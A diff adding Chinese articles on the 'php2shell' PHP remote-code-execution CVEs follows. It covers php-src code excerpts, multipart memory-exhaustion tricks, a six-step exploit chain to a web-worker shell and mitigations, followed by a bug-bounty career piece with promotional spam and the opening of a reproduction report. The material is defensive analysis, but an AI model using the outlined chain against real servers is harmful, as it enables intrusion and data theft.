longjmp，从出错点直接跳到预设的安全位置，放弃当前请求。问题在于，某些内部上下文里，请求内存处于一个窗口期，它已经可以被访问，但还没初始化完成。如果分配失败恰好发生在这个窗口里，longjmp 的提前退出没有被正确记账，这块内存就停留在无效状态。 + +这不是推测，是能直接读出来的代码。修复前（标签 php-8.4.26 +），内存分配器里的超限处理长这样（Zend/zend_alloc.c +，节选有删节）： +``` +static ZEND_COLD ZEND_NORETURN voidzend_mm_safe_error(zend_mm_heap *heap,constchar*format,size_t limit,size_t size){ heap->overflow =1; zend_try {zend_error_noreturn(E_ERROR, format, limit, size);} zend_catch {}zend_end_try(); heap->overflow =0;zend_bailout();exit(1);} +``` + +各处分配超限时调用它，报出那句每个 PHP 开发者都见过的 Allowed memory size of %zu bytes exhausted +。关键在倒数第二行：zend_bailout() +。这个函数的定义在 Zend/zend.c + 里，最后一行暴露了本质（原文完整节选）： +``` +ZEND_API ZEND_COLD ZEND_NORETURN void_zend_bailout(constchar*filename,uint32_t lineno){if(!EG(bailout)){zend_output_debug_string(1,"%s(%d) : Bailed out without a bailout address!", filename, lineno);exit(-1);}gc_protect(1);CG(unclean_shutdown)=1;CG(active_class_entry)=NULL;CG(in_compilation)=0;CG(memoize_mode)=0;EG(current_execute_data)=NULL;LONGJMP(*EG(bailout), FAILURE);} +``` + +LONGJMP +。一次跨函数的远距离跳转，从内存分配器的深处直接跳回请求入口附近，中间所有正在执行的初始化、清理、状态复位代码全部作废。 + +更麻烦的是，导致 OOM 的那次分配，和最终被污染的那块内存，可以毫无关系。请求 shutdown 阶段照常运行，把无效内存当有效数据来读、来分支，错误在这里才兑现成实际危害。 + +攻击者要做的第一件事是制造 OOM。听起来需要发一个巨大的请求把内存打爆，实际上不需要。官方公告列出了四种在限额内撑爆 memory_limit 的 multipart 解析技巧：请求不带可用的 Content-Length，可以绕过 post_max_size 的前置检查；multipart 的单个 part 可以携带几乎不限量的头部，而头部在 PHP 内部的表示形式远大于它在网络上的字节数，一个限额内的请求就能耗尽 memory_limit；空文件控件不计入 max_file_uploads 限制，却照样创建文件元数据数组；嵌套的字段名会成倍放大数组操作。 + +也就是说，触发漏洞的是一个看起来完全正常的文件上传请求。 + +不同部署方式的风险不同。官方口径下，mod_php 最危险：Apache 会无条件执行请求清理，哪怕请求初始化就已经失败，攻击发生在任何应用代码运行之前。在默认配置的 mod_php 上，未经认证的远程代码执行已经被确认。php-fpm 的启动失败会直接杀掉子进程，正常启动后理论上仍可达，但官方明确表示没有演示出完整的 FPM 利用链。FrankenPHP 的处境类似 mod_php，大概率受影响；LiteSpeed 的 LSAPI 建模接近 FPM，未经证实。 + +补丁的修法说明了问题之深。核心修复集中在官方仓库的一个提交（506e87fa7d +，"Avoid state corruption via bailout"，提交说明明确写着 Fix 这两个 CVE），思路是：彻底废除 OOM 时跳 longjmp 的路，改成「软 OOM」加「硬 OOM」两级机制。 + +软 OOM 不再当场跳走，只把错误信息挂到执行全局上、把状态标记为 PENDING，然后拉起虚拟机中断信号（Zend/zend_alloc.c +，修复后，节选有删节）： +``` +static ZEND_COLD voidzend_mm_delayed_verror(constchar*format, va_list args){if(ZEND_HAS_OOM()){return;}/* ... 记录脚本文件名与行号，有删节 ... */EG(delayed_oom).message =zend_string_init(buf,strlen(buf),/* persistent */ true);EG(delayed_oom).filename = script_filename;EG(delayed_oom).lineno = script_lineno;EG(delayed_oom).state = ZEND_OOM_STATE_PENDING;zend_atomic_bool_store_ex(&EG(vm_interrupt), true);} +``` + +虚拟机只在自己代码的安全点上检查这个中断，让当前操作体面地收尾。那如果内存真的彻底耗尽、连收尾都做不了呢？源码里新加的注释把设计意图写得明明白白： +``` +/* Returns FAILURE if allocation should fail (in case the heap is fallible).  * When the soft limit is to be exceeded, a delayed OOM error is queued.  * When the hard limit is to be exceeded, the function does not return.  */ +``` + +软限制超了就排队等安全点处理；硬限制超了，函数根本不会返回，直接结束进程（修复后 Zend/zend_alloc.c +，节选有删节）： +``` +static ZEND_COLD ZEND_NORETURN voidzend_mm_hard_limit_error(zend_mm_heap *heap,size_t add_size){/* ... 定位脚本位置，有删节 ... */fprintf(stderr,"Hard memory limit of %zu bytes exhausted (tried to allocate %zu bytes) in %s on line %d\n", heap->hard_limit, add_size,ZSTR_VAL(script_filename), script_lineno);_exit(137);} +``` + +_exit(137) +。宁可让 worker 进程死透，由进程池重新拉一个干净的，也不留半初始化的尸体给下一个请求。 +## 三、CVE-2026-109619：全局状态里的「幽灵指针」 + +第二个漏洞的成因更隐蔽。worker 进程的全局状态里，有一批指针指向请求期的内存：错误处理状态、会话状态、对象状态、扩展状态。规矩是，这些状态必须在请求内存释放之前复位。致命错误会打断这个流程，操作半途而废，复位没有执行。更刁钻的是，一些非致命的诊断信息还可能在清理完成之后，把错误状态重新填上。于是内存被释放了，全局指针还指着那里。 + +下一个请求到来时，在正常初始化流程跑完之前，某段代码读了这个悬垂指针。这就是 use-after-free。官方公告的原话是：精心构造的堆布局可以产生完整的远程代码执行。 + +这个漏洞的利用被官方拆解成生产者和消费者两端。生产者负责制造悬垂指针：解析或编译阶段的致命错误、未捕获的错误、require 失败、执行超时、状态发布之后的内存耗尽。消费者负责在错误的时机读到它，官方确认了两条路径。 + +第一条是 INI 设置诊断。PHP 在应用配置时会发出警告，比如非法的 memory_limit 值、无效的 date.timezone、被 open_basedir 拒绝的路径。Apache 的 .htaccess 里一行 php_value，或者前端向 FPM 转发的 PHP_VALUE 头，都能触发它。把 error_reporting 关掉、用 @ 抑制、关掉日志，全都防不住，因为问题不在错误显示，在错误状态本身。 + +第二条是会话上传进度（session upload progress）。这个特性在 php.ini 里默认开启，甚至不需要应用代码调用过 session_start。它也是 FPM 上已验证的利用路径，尤其在 multipart 处理中发生 OOM 之后。 + +听起来像一个冷门特性，但它的问题恰恰写在代码里。修复前（php-8.4.26 +，ext/session/session.c +，节选有删节），multipart POST 处理过程中每次刷新上传进度都会走到这里： +``` +staticvoidphp_session_rfc1867_update(php_session_rfc1867_progress *progress,int force_update){/* ... 频率检查，有删节 ... */ progress->next_update =Z_LVAL_P(progress->post_bytes_processed)+ progress->update_step;php_session_initialize();PS(session_status)= php_session_active;IF_SESSION_VARS(){ zval *sess_var =Z_REFVAL(PS(http_session_vars));SEPARATE_ARRAY(sess_var); progress->cancel_upload |=php_check_cancel_upload(progress);Z_TRY_ADDREF(progress->data);zend_hash_update(Z_ARRVAL_P(sess_var), progress->key.s,&progress->data);}php_session_flush(1);} +``` + +注意时序：php_session_initialize() + 是在解析 multipart 请求体的过程中被调用的，此时正常的请求初始化流程（RINIT）还没走完，session 模块却已经开始解码、改写、回写会话数据。这正是「消费者在错误的时机读到状态」的那个时机。修复时，PHP 开发者在同一个位置上方留下了一段注释，把问题说得比任何外部分析都清楚（506e87fa7d + 提交原文）： +``` +/* The upload progress handler (php_session_rfc1867_update()) decodes and  * re-encodes the session during request startup, before RINIT, when no user  * code may run. Objects are then kept as __PHP_Incomplete_Class: no  * autoloading, no unserialize_callback_func, no __wakeup() or __unserialize(),  * and they are written back unchanged. */ +``` + +翻译过来：上传进度处理器在请求启动阶段、RINIT 之前解码并重新编码会话，而这个阶段不允许任何用户代码运行。修复后，解码出的对象一律保持为不完整的类，不触发自动加载、不触发魔术方法，写回时不做任何改变。这条利用路径上的可乘之机，被一块一块砌死了。 + +这个漏洞有一个天然的限制：生产者和消费者必须命中同一个 worker。worker 池越大、进程回收越频繁，成功率越低。不过攻击者可以用更多的请求次数来补偿。 +## 四、利用链：从一个上传请求到服务器上的 shell + +把两个漏洞拼起来，利用链是这样的（研究者已验证口径，防御视角）： + +第一步，投递。攻击者发送一个构造好的 multipart/form-data 请求，看起来就是一次普通的表单提交或文件上传。 + +第二步，撑爆内存。利用头部放大或无 Content-Length 绕过等技巧，让请求在 post_max_size 限额之内耗尽 memory_limit。 + +第三步，中断。OOM 触发 longjmp 跳出，或者致命错误打断清理流程，请求死在半路，脏状态留在 worker 进程里。 + +第四步，兑现。同一个 worker 的清理阶段或下一个请求踩到悬垂数据，构成跨请求的 use-after-free。 + +第五步，布局。利用链串联多个缺陷原语，并适配目标的内存布局，攻击者通过多次请求调整堆形态。 + +第六步，落地。以 Web worker 账户（通常是 www-data）的身份执行任意代码。 + +![php2shell 利用链六步示意](https://mmbiz.qpic.cn/mmbiz_png/icVSvicxhfMd44nMflO4ZTBicsCibicBLv1WjYnKr5pLgJcJiaz8Qse3clemWHATcL9So9xlwwnvFjGRAyLb4bhcY0kgqhAyGiaGP3o05Ly6xS6Dt8/640?from=appmsg "") + +php2shell 利用链六步示意 + +▲ 利用链全景：步骤 2 至 3 是 CVE-2026-109618 的触发面，步骤 3 至 4 构成 CVE-2026-109619 的生产者与消费者；底部是不执行代码的内存泄露变体（依官方安全公告与 Sansec 研究绘制） + +Sansec 在研究中还确认了一个更安静的变体：被释放的 worker 内存会随 PHPSESSID cookie 返回给攻击者，一块 cookie 里可能躺着其他用户的密码、会话令牌、API 密钥，甚至是 TLS 私钥。这是 Heartbleed 式的信息泄露，不执行代码，直接读内存。 + +因为漏洞在引擎层，任何 PHP 应用都是合格的投递载体。Sansec 已在 Magento、WordPress、Drupal、Joomla、MediaWiki、Roundcube、phpMyAdmin、Nextcloud、Laravel、Symfony、WHMCS 上验证了无需认证的远程代码执行。这份清单几乎覆盖了开源 Web 世界的半壁江山。 +## 五、影响：为什么说这一次几乎是「所有人」 + +先看版本。官方修复覆盖四个仍在维护的分支：8.2.35、8.3.36、8.4.27、8.5.12。8.1 及更早版本没有官方更新，其中 7.4、8.0、8.1 提供了最小化的源码后向移植，需要发行版和运维自行处理；PHP 5 和 7 的分支则永远等不到官方补丁。另外别忘了，8.2 分支本身将在 2026 年 12 月 31 日停止维护。 + +存量有多大？W3Techs 10 月 21 日的统计显示，在能识别服务端语言的网站里，69.3% 使用 PHP。而用 PHP 的站点里，27.0% 还在 7.x，7.7% 在 5.x。加起来，三分之一的 PHP 站点跑在拿不到官方补丁的版本上。 + +![修复矩阵与 PHP 站点版本分布](https://mmbiz.qpic.cn/mmbiz_png/icVSvicxhfMd67zziaVNJ9dib2VjG0DtwVwvoNEOwj83mPcuTrFLxlj9HBgLkW74p7lCX7HURyyhbRoVdvFIm1IN3JgOS5JtndeK69icuCevHhv0/640?from=appmsg "") + +修复矩阵与 PHP 站点版本分布 + +▲ 左：三个版本的修复档位，只有 8.2 至 8.5 拿得到官方安装包，而 8.2 分支年底就停止维护；右：W3Techs 统计的存量分布，34.8% 的 PHP 站点运行在无官方完整补丁的版本上（2026-10-21 数据） + +再看利用进展。watchTowr 的蜜罐网络在补丁发布当天观测到利用尝试；Cloudflare 披露在泄露之后看到了真实攻击流量，包括针对 WAF 规则的载荷变异，其 WAF 默认防护在 21 日凌晨 3:02 UTC 就已生效，比官方披露早了约 9 小时；Huntress 截至当天上午未在其客户群观测到利用。截至发稿，没有公开的漏洞利用代码，没有确认的 IOC，漏洞也不在 CISA KEV 清单上。但所有人都清楚，补丁一旦发布，代码差异就是最好的利用说明书。这场修复竞速的窗口，就是现在。 + +CVSS 评分 9.2 而不是满分 10，原因写在向量里：攻击复杂度高（AC:H），且存在攻击前提条件（AT:P）。这不是点一下就中的漏洞，利用可靠性随构建、扩展、前端行为和内存布局浮动，可能需要多次尝试。但对攻击者来说，互联网上 PHP 站点的绝对数量保证了目标池的深度。 +## 六、现在该做什么 + +升级是唯一完整的修复：8.5.12、8.4.27、8.3.36、8.2.35，对号入座。清点资产时注意角落：cPanel、Plesk 这类控制面板自带的 PHP，发行版打包的 PHP，还有厂商一体包里捆绑的运行时。Sansec 实测 Remi 第三方仓库在发版当天没有修复包，这类环境需要换发行版包或源码编译。 + +升级完成前的临时缓解（官方公告口径，须在 FPM pool 或 Apache 配置里设置，ini_set 和 .user.ini 无效）： +- • +针对 CVE-2026-109618：在管理面设置 memory_limit=-1（不完全，底层的 mmap 失败仍可能走进漏洞路径），收紧 post_max_size，并在前端限制请求体大小； + +- • +针对 CVE-2026-109619：关闭 session.upload_progress；PHP 8.5 上设置 fatal_error_backtraces=0；可选 pm.max_requests=1，让 worker 高频重生； + +- • +特别注意：不要用 RLIMIT_AS 或 RLIMIT_DATA，它们引发的 mmap 失败恰好会触发漏洞路径；cgroup memory.max 可用，前提是确保只杀掉受影响的 worker。 + +WAF 可以买时间，不能替代升级。Cloudflare 新上了请求加响应联动的 full transaction detection 检测和七条异常执行规则，但其官方口径很明确：修应用代码和插件没有用，必须更新 PHP 运行时本身。 + +监测侧看三个信号：伴随内存超限报错或 HTTP 500 的异常 multipart 请求；过大或畸形的 PHPSESSID cookie；worker 进程异常换血。主机层面，worker 进程拉起 shell、解释器或下载工具，即为高危。 +## 七、一件事值得记住：AI 进了漏洞挖掘的核心圈 + +这次披露的协同方有四家：Calif.io、Wiz、OpenAI、Quarkslab。官方安全公告的致谢名单里，能看到 Wiz 与 OpenAI 研究者的署名。据 Sansec 整理的时间线，Calif 与 OpenAI 合作，从 8 月 1 日开始寻找 RCE 路径，8 月 11 日上报 PHP；Wiz 在 8 月 24 日独立上报，并称一名研究员借助 AI 约一周就完成了利用链。三支研究团队都使用了前沿 AI 模型。 + +PHP 是互联网存量最大的服务端运行时，内存安全漏洞的挖掘与利用长期是少数顶尖专家的领域。当 AI 把利用链的开发周期压缩到一周，这次事件的警示就不只针对 PHP 运维。上个月，一个自主 AI Agent 用两个零日漏洞打穿了荷兰的漏洞披露研究院 DIVD；这一次，AI 出现在漏洞发现的更上游。武器化的门槛在下移，而防御侧的补丁节奏仍然取决于人类工程师的响应速度。 + +这次 PHP 团队从上报到发布补丁用了七十余天，泄露后又把发版提前了一天。这个速度在协同披露里不算慢，但面对被 AI 加速的攻击研究，恐怕会越来越不够用。 +## 参考资料 +- • +PHP: October 2026 Security Releases（php.net 官方公告，2026-10-21） + +- • +CVE-2026-109618 / GHSA-w8hw-w9fx-j79w 与  +CVE-2026-109619 / GHSA-6wmf-4rv5-p3rp（php-src 官方安全公告） + +- • +php-src 提交 506e87fa7d "Avoid state corruption via bailout"（两个 CVE 的核心修复；本文代码块均节选自官方仓库：修复前代码取自标签 php-8.4.26 +，修复后代码取自该提交，删节处已逐处标注） + +- • +php2shell: Critical PHP RCE（Sansec，2026-10-21） + +- • +PHP Remote Code Execution FAQ: CVE-2026-109618（watchTowr，2026-10-21） + +- • +php2shell, Leaked Critical PHP Vulnerabilities（Huntress，2026-10-21） + +- • +Cloudflare deploys protections against php2shell（Cloudflare，2026-10-21） + +- • +PHP Usage Statistics（W3Techs）（2026-10-21 读取） + + + diff --git a/doc/2026-10/一个漏洞5000？入行网安这些年，我挖洞的真实感受.......md b/doc/2026-10/一个漏洞5000？入行网安这些年，我挖洞的真实感受.......md new file mode 100644 index 00000000..4be23023 --- /dev/null +++ b/doc/2026-10/一个漏洞5000？入行网安这些年，我挖洞的真实感受.......md @@ -0,0 +1,205 @@ +# 一个漏洞5000？入行网安这些年，我挖洞的真实感受...... +原创 海哥网络安全 + 海哥网络安全 海哥网络安全 2026-10-21 10:13 + +一个漏洞5000块，这钱真给吗！？ + +在安全圈混了这么些年，我的私活基本没停过，副业进账跟工资摆在一起，几乎不相上下。最近"副业挖漏洞"的话题到处都在刷屏，干脆把我自己趟出来的路写成这篇经验分享，正在找副业方向的朋友可以拿去参考。 + +⚠️ 先把丑话说在前面：挖漏洞必须先拿到授权，没授权的"挖洞"是违法行为，这条红线谁都不能碰。 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/CsKJlMFPH9T8H9pNbrWVHk0c3iaa6Bc9z7icFTEBFERWtibicjqnv1kQY0AwETrNID9oKVibFgEJicosdDAicSKToo0DNr6fdHsexw3k5iaEJpW47m4/640?wx_fmt=jpeg "") + +我个人认为，想正经挖到高危漏洞，参加官方悬赏计划是比较省心的路子：既有授权背书，奖金也实在，大厂和大型项目的单洞报价普遍在1w以上。 + +2025年苹果大幅升级了自家的 Bug Bounty（漏洞赏金计划），官方口径是：各类奖金叠加之后，单次支付总额有望超过500万美元，还专门强调这是同类计划里目前给得最多的一家。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/CsKJlMFPH9TutK3slnGLmpRLwia44JbwdSQH2MHgx8T9TlicnYFzwyQqJibKxWHICWJ4seJvgy6C9J8x9DNcibgBVicyNNnDTDZ6dowb4AHY5f4w/640?wx_fmt=webp&from=appmsg "") + +不过话说回来，高危漏洞门槛确实不低。刚入门的话，建议先从低危漏洞练手。 + +起步阶段可以借助AWVS、APPScan这类自动化扫描器，上手简单，扫敏感信息和常规漏洞都够用。 + +等真正开始接活，我的标配是五件套：BurpSuite + sqlmap + Nuclei + Nmap + Xray——抓包改包靠它，注入检测、POC批量扫、端口扫、渗透扫也各有分工。把这五个吃透，八成的Web渗透场景都能应付，剩下的工具按需再补。 + +![](https://mmbiz.qpic.cn/mmbiz_png/CsKJlMFPH9QPwstGgIMXSnepYia9BQvv2icdv81b9os3LxMKVVz0h9HsCiaLZ8cMYndYME10JnQ1wWic6Rq94XHGib8dv6Oqx0XlibicUdPQK6znsU/640?wx_fmt=png&from=appmsg "") + +工具之外，技术底子必须打牢：计算机功底和安全基本功缺一不可，还要系统学漏洞挖掘的方法论，比如先玩转 Fuzzing 和代码审计，再往逆向分析、漏洞利用的方向深入。方法对了，找漏洞的速度和对原理的理解深度都会完全不一样。 + +渠道方面给你指条路：综合类的比如补天、漏洞盒子，还有 CNVD；华为、阿里、腾讯、360这几家大厂也都开着独家SRC；再进一步，国外的洞同样值得去挖，赏金还要更香。 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/CsKJlMFPH9S3rS7mjLbyITPtHr0x639S9cxfibUyZXpEKJoNicfqA33rL3GIq9n2XCId8YxRkpzrPUL3GY1YficJbNNiapy4micqCLqsPOJzL9fM/640?wx_fmt=jpeg&from=appmsg "") + +一、挖洞能赚多少（众测实战） + +对网安人来说，挖洞是变现很快的一条路。如今SRC（安全应急响应中心）跟众测平台的机制已经相当成熟，早不是前几年那副草莽样子了。 + +拿国内头部的"补天平台"举例：字节、腾讯、阿里这些大厂常年驻场，悬赏额度相当可观。 + +奖励标准：按危害分四档——低危、中危、高危、严重——单洞奖励多在500元到5万这个区间；涉及核心业务或重大高危的，还会有额外的专项奖励。 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/UlibJFdibia1g7s88kgrQ9GiaZ8w4icuibN0ZAGZG53mZW64cI3Y6erJCEKoazUE51icsz2OEat3Pc9ibZYJxJNONviaxwLBIybNOKkPWUyIFBhWunB8/640?wx_fmt=jpeg "") + +收入空间：如果只是拿业余时间来挖，这已经是一份很可观的副业进账。圈子里不少技术扎实的白帽子，靠周末加晚上的时间，把这份收入做到了月入过万的水平。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/CsKJlMFPH9RSfFiba4SMHicvdicwVaa1JbFEjyM88LIiaBOWGLorjCKn6TkKJ8mIVuTyTgBibUKjZVcLkpd4lqwCmNPqGBM0Yxib5AQxWZticPoXzI/640?wx_fmt=jpeg "") + +平台优势：补天这边项目多、结算稳，除了奖金，还能攒实战经验、刷技术排名、认识一帮圈内高手。 + +PS：平台隔三差五会开专场（金融、电商这种），注册认证之后才能第一时间收到项目通知，建议早点进去占个位。 + +二、自学时长 + +自学到能挖漏洞，要多久？这是小白最关心的一件事。 + +但这个问题没有标准答案——它受好几方面因素影响。 + +◆ 自身因素 + +挖洞的前提是先有网安技术傍身。你是零接触还是有点底子？代码会不会写？一天能学几个小时？是自己瞎摸索还是有人带？这些变量都会直接决定你到底要学多久。 + +◆ 知识框架 + +网安技术几乎覆盖了开发岗的方方面面：Python 要懂、PHP 和 JavaScript 也得会一点，外加计算机网络基础、漏洞挖掘知识、渗透测试工具的使用，一样都不能落下。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/CsKJlMFPH9RG5TSO9jBjjDicZwpFSPib7ONRqXibQib8ytmhqxAqCDJSgbDia0xNFuxTc3zmq9UaJxibYKdwF0NEOmSBfZUZAQ6Y3Yrvia3OTDyJ4M/640?wx_fmt=jpeg&from=appmsg "") + +◆ 现实环境 + +就算你技能点满了，在靶场能挖出几个漂亮的漏洞，到了真实场景也是另一回事——线上产品都有专业团队在维护，硬碰硬是撞不开的。你得先把产品的业务流程摸透，判断哪些环节可能藏着漏洞，再顺着这条线深挖下去，才有可能有所收获。补天上占比很高的逻辑漏洞，就是这样一点点抠出来的。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/CsKJlMFPH9Rpckb1GVl9SYCpd3P8gpxQ1c3uAoAulY3WvSNrur5p6e2CzwWfC9pqBzAsKudOwbJATqib1cUc4egaGR0ibiaqicg9rVzdsACqAR0/640?wx_fmt=png&from=appmsg "") + +业务流程图 + +提醒一句：大厂的洞越难挖，起步阶段可以先挑些不知名、但有授权的小网站练手。 + +挖洞这件事没有标准答案：有人仨月就在SRC刷出了排名，也有人折腾一年还在原地踏步。这条路拼到最后，看的不是天赋，是你持续砸进去的时间，以及在实战里摔出来的经验。 + +写在最后 + +真想学好一门手艺，先掂量一下自己对它的兴趣。天赋不够，时间和努力还能补；但没有兴趣托底，很难撑到出结果的那天。 + +如果你正打算入坑网安，或者想再搏一次，我这些年攒的视频课和学习笔记也全都整理好了，现在免费分享，需要的文末自取。 + +现在哪个行业都不轻松。没学历、没天赋，那就拼努力和坚持，剩下的交给相信的力量。共勉！ + +想看更多学习思路？我主页的历史文章里有几篇入门干货：零基础转行网安、渗透测试入门教程、自学路线规划，扫下方的二维码就能拿。 + + +**黑客/网络安全学习包** + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/TiaI8Dth4IiaRCFva2ZibMZKuNBEDOAEmkUGiakynth3MRTicLcHaV4MAvjubiaIicUx4ZrMxuSdSicjzT5HfEAzJy782g/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp#imgIndex=2 "") + + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/TiaI8Dth4IiaRCFva2ZibMZKuNBEDOAEmkU7VZiaRU6vdoIQC9ToNyrFNvkWmp92gn3R2RWyGVEiaxjTlDjic3dPsW6g/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp#imgIndex=3 "") + +**资料目录** +1. 成长路线图&学习规划 + +1. 配套 +视频教程 + +1. SRC&黑客文籍 + +1. 护网行动资料 + +1. 黑客必读书单 + +1. 面试题合集 + + + +**282G** +《**网络安全/黑客技术入门学习大礼包** +》，可以**扫描下方二维码免费领取** +！ + +![图片](https://mmbiz.qpic.cn/mmbiz_png/UlibJFdibia1g5KyV3e2z6bIicaiaC8VbdTU8Co4slqAVr22IEf0zydGV1v9pvibqQuqYWb4rZXahZBqBHIIDJXiaevP1mrgPJgU8rCFicBXwEAysN8/640?wx_fmt=png&from=appmsg&watermark=1&wxfrom=5&wx_lazy=1&tp=webp#imgIndex=8 "") + + +1.成长路线图&学习规划 + +要学习一门新的技术，作为新手一定要**先学习成长路线图** +，**方向不对，努力白费** +。 + +对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。 + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_jpg/UlibJFdibia1g6HWbOMibibLrzbWavNEIahd2eoIOuiaxeSCJPZJ0icLttNj331jvLNVibEEnHLE44BBWXAMicbntviasuP6YfsHkroAWv1AQCejFAyRs/640?wx_fmt=jpeg&watermark=1&wxfrom=5&wx_lazy=1&tp=webp#imgIndex=3 "") + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/evTLxnBbHv6fa8BCJ5052WLSGZjTIfEDgymVV6FeniaFszgpka15xzMolFmtXDdiaaDJMwXSqTQgRgBicvbYv4tNw/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp#imgIndex=6 "") + +2.视频教程 + +很多朋友都不喜欢 +**晦涩的文字** +，我也为大家准备了视频教程，其中一共有 +**21个章节** +，每个章节都是 +**当前板块的精华浓缩** +。 + +![图片](https://mmbiz.qpic.cn/mmbiz_png/NAkrkExZ3dnMVja8hzZpia0AkKu6AWrQn8E3Yp6lXhRo3D1Bttpiao3a0poRH29MC1MBC0hk5gKMCiaicy3wOiaUviag/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp#imgIndex=7 "") + +![图片](https://mmbiz.qpic.cn/mmbiz_png/NAkrkExZ3dnMVja8hzZpia0AkKu6AWrQnHBEMEd0W8dr6zFFQetPOhwiax5u8YYm0YZtWJSmyJ7d85QmuVQEicLVQ/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp#imgIndex=8 "") + +3.SRC&黑客文籍 + +大家最喜欢也是最关心的 +**SRC技术文籍&黑客技术** +也有收录 + +**SRC技术文籍：** + +![图片](https://mmbiz.qpic.cn/mmbiz_png/NAkrkExZ3dkY8ctWgyFKc2oWZY3ibCDm5lMpjofvtGCicHTLibsOF8b841UOfozGsdjDvJKiaFgibdTunKlgC9kzrTQ/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp#imgIndex=9 "") + + +**黑客资料由于是敏感资源，这里不能直接展示哦！** + + +4.护网行动资料 + + +其中关于 +**HW护网行动，也准备了对应的资料，这些内容可相当于比赛的金手指！** + +![图片](https://mmbiz.qpic.cn/mmbiz_png/NAkrkExZ3dnMVja8hzZpia0AkKu6AWrQnaPKJSI9dNKiaR4vaJf0hqApKNbJeZnCpsQSElEicDrlAMLkRXHoyKN8A/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp#imgIndex=10 "") + + +5.黑客必读书单 + +**** +6.面试题合集 + + +当你自学到这里，你就要开始 +**思考找工作** +的事情了，而工作绕不开的就是 +**真题和面试题。** + +![图片](https://mmbiz.qpic.cn/mmbiz_png/NAkrkExZ3dnMVja8hzZpia0AkKu6AWrQnXxPNhSSySbwUMEWOicYYS62D1UOQExv0cYuVQ68gk2uFF2xJ4TPmRHA/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp#imgIndex=12 "") + +**更多内容为防止和谐，可以扫描获取~** + +**** +![图片](https://mmbiz.qpic.cn/mmbiz_png/NAkrkExZ3dnMVja8hzZpia0AkKu6AWrQnGktIUCicPreibR6b3sx1Qu0CsCZP0sZtCP4RHlMdxXuE4icCFSoL2yyBg/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp#imgIndex=13 "") + + +朋友们需要全套共 +**282G** +的《**网络安全/黑客技术入门学习大礼包** +》，可以**扫描下方二维码免费领取** +！ + +![图片](https://mmbiz.qpic.cn/mmbiz_png/UlibJFdibia1g5KyV3e2z6bIicaiaC8VbdTU8Co4slqAVr22IEf0zydGV1v9pvibqQuqYWb4rZXahZBqBHIIDJXiaevP1mrgPJgU8rCFicBXwEAysN8/640?wx_fmt=png&from=appmsg&watermark=1&wxfrom=5&wx_lazy=1&tp=webp#imgIndex=18 "") + + + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_gif/TiaI8Dth4IiaRCFva2ZibMZKuNBEDOAEmkULH6MxzBRGa9Fibvuic8pv9cEjY0HWQbamrjGDz4jUgPS7TpprXiagZe6A/640?wx_fmt=gif&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp#imgIndex=15 "") + +**END** + + + + diff --git a/doc/2026-10/全网都在等的PHP2Shell 远程命令执行漏洞复现，漏洞通用，POC不通用！ ！ ！.md b/doc/2026-10/全网都在等的PHP2Shell 远程命令执行漏洞复现，漏洞通用，POC不通用！ ！ ！.md new file mode 100644 index 00000000..ae8bb4b6 --- /dev/null +++ b/doc/2026-10/全网都在等的PHP2Shell 远程命令执行漏洞复现，漏洞通用，POC不通用！ ！ ！.md @@ -0,0 +1,1010 @@ +# 全网都在等的PHP2Shell 远程命令执行漏洞复现，漏洞通用，POC不通用！ ！ ！ +原创 网络安全透视镜 + 网络安全透视镜 网络安全透视镜 2026-10-21 16:27 + +" + +漏洞通用 +， +RCE 载荷不通用 +——没有一个 HTTP 包能打所有未修复的 PHP。 + +—— PHP2Shell 漏洞分析报告 + +PHP2Shell 是 2026-10-21 紧急披露的两个 PHP  +内核远程代码执行漏洞，CVSS v4.0 均为  +9.2，不需要任何凭据。本报告在 PHP 8.4.26 + Apache prefork 单 worker 上已真实打出代码执行，并给出了一条可以直接给审阅者用的判断结论。 + +本文看点 + +01 + +两个 CVE 同源，一口一个 bug + +02 + +为什么没有通用 PoC + +03 + +真实打出 uid=33 的完整链路 + +CVE-2026-109618 / CVE-2026-109619 + +文档性质 + +实验室漏洞分析与定点复现记录 + +编写日期 + +2026-10-22 + +分析对象 + +php-src 内核（session + multipart + Zend MM） + +本地结论 + +补丁存在；在  +PHP 8.4.26 NTS + Apache 2.4.68 prefork 单 worker 上  +已打出 RCE（ +uid=33(www-data)） + +关键结论 + +漏洞通用，RCE exploit 不通用。 不存在「一个 HTTP 包打所有未修复 PHP」的 PoC。 + +01 +CHAPTER +### 漏洞概述 + + +PHP2Shell 是 2026-10-21 紧急披露的两个 PHP 内核远程代码执行漏洞，CVSS v4.0 均为  +9.2（ +AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H）。CWE 以  +CWE-416 Use After Free 为主，并涉及异常路径处理（CWE-755）、未初始化指针（CWE-824）。 + +两个 CVE 是同一类「bailout 后状态损坏」问题的两面： + +CVE-2026-109618 — OOM 时 `longjmp` 撕开半初始化状态 + +PHP 用  +memory_limit 限制单请求内存。触顶时走： + +zend_mm_safe_error() + +→ zend_error_noreturn(E_ERROR, "Allowed memory size of %zu bytes exhausted...") + +→ zend_bailout() // 实质是 longjmp + +longjmp 从 +任意 C 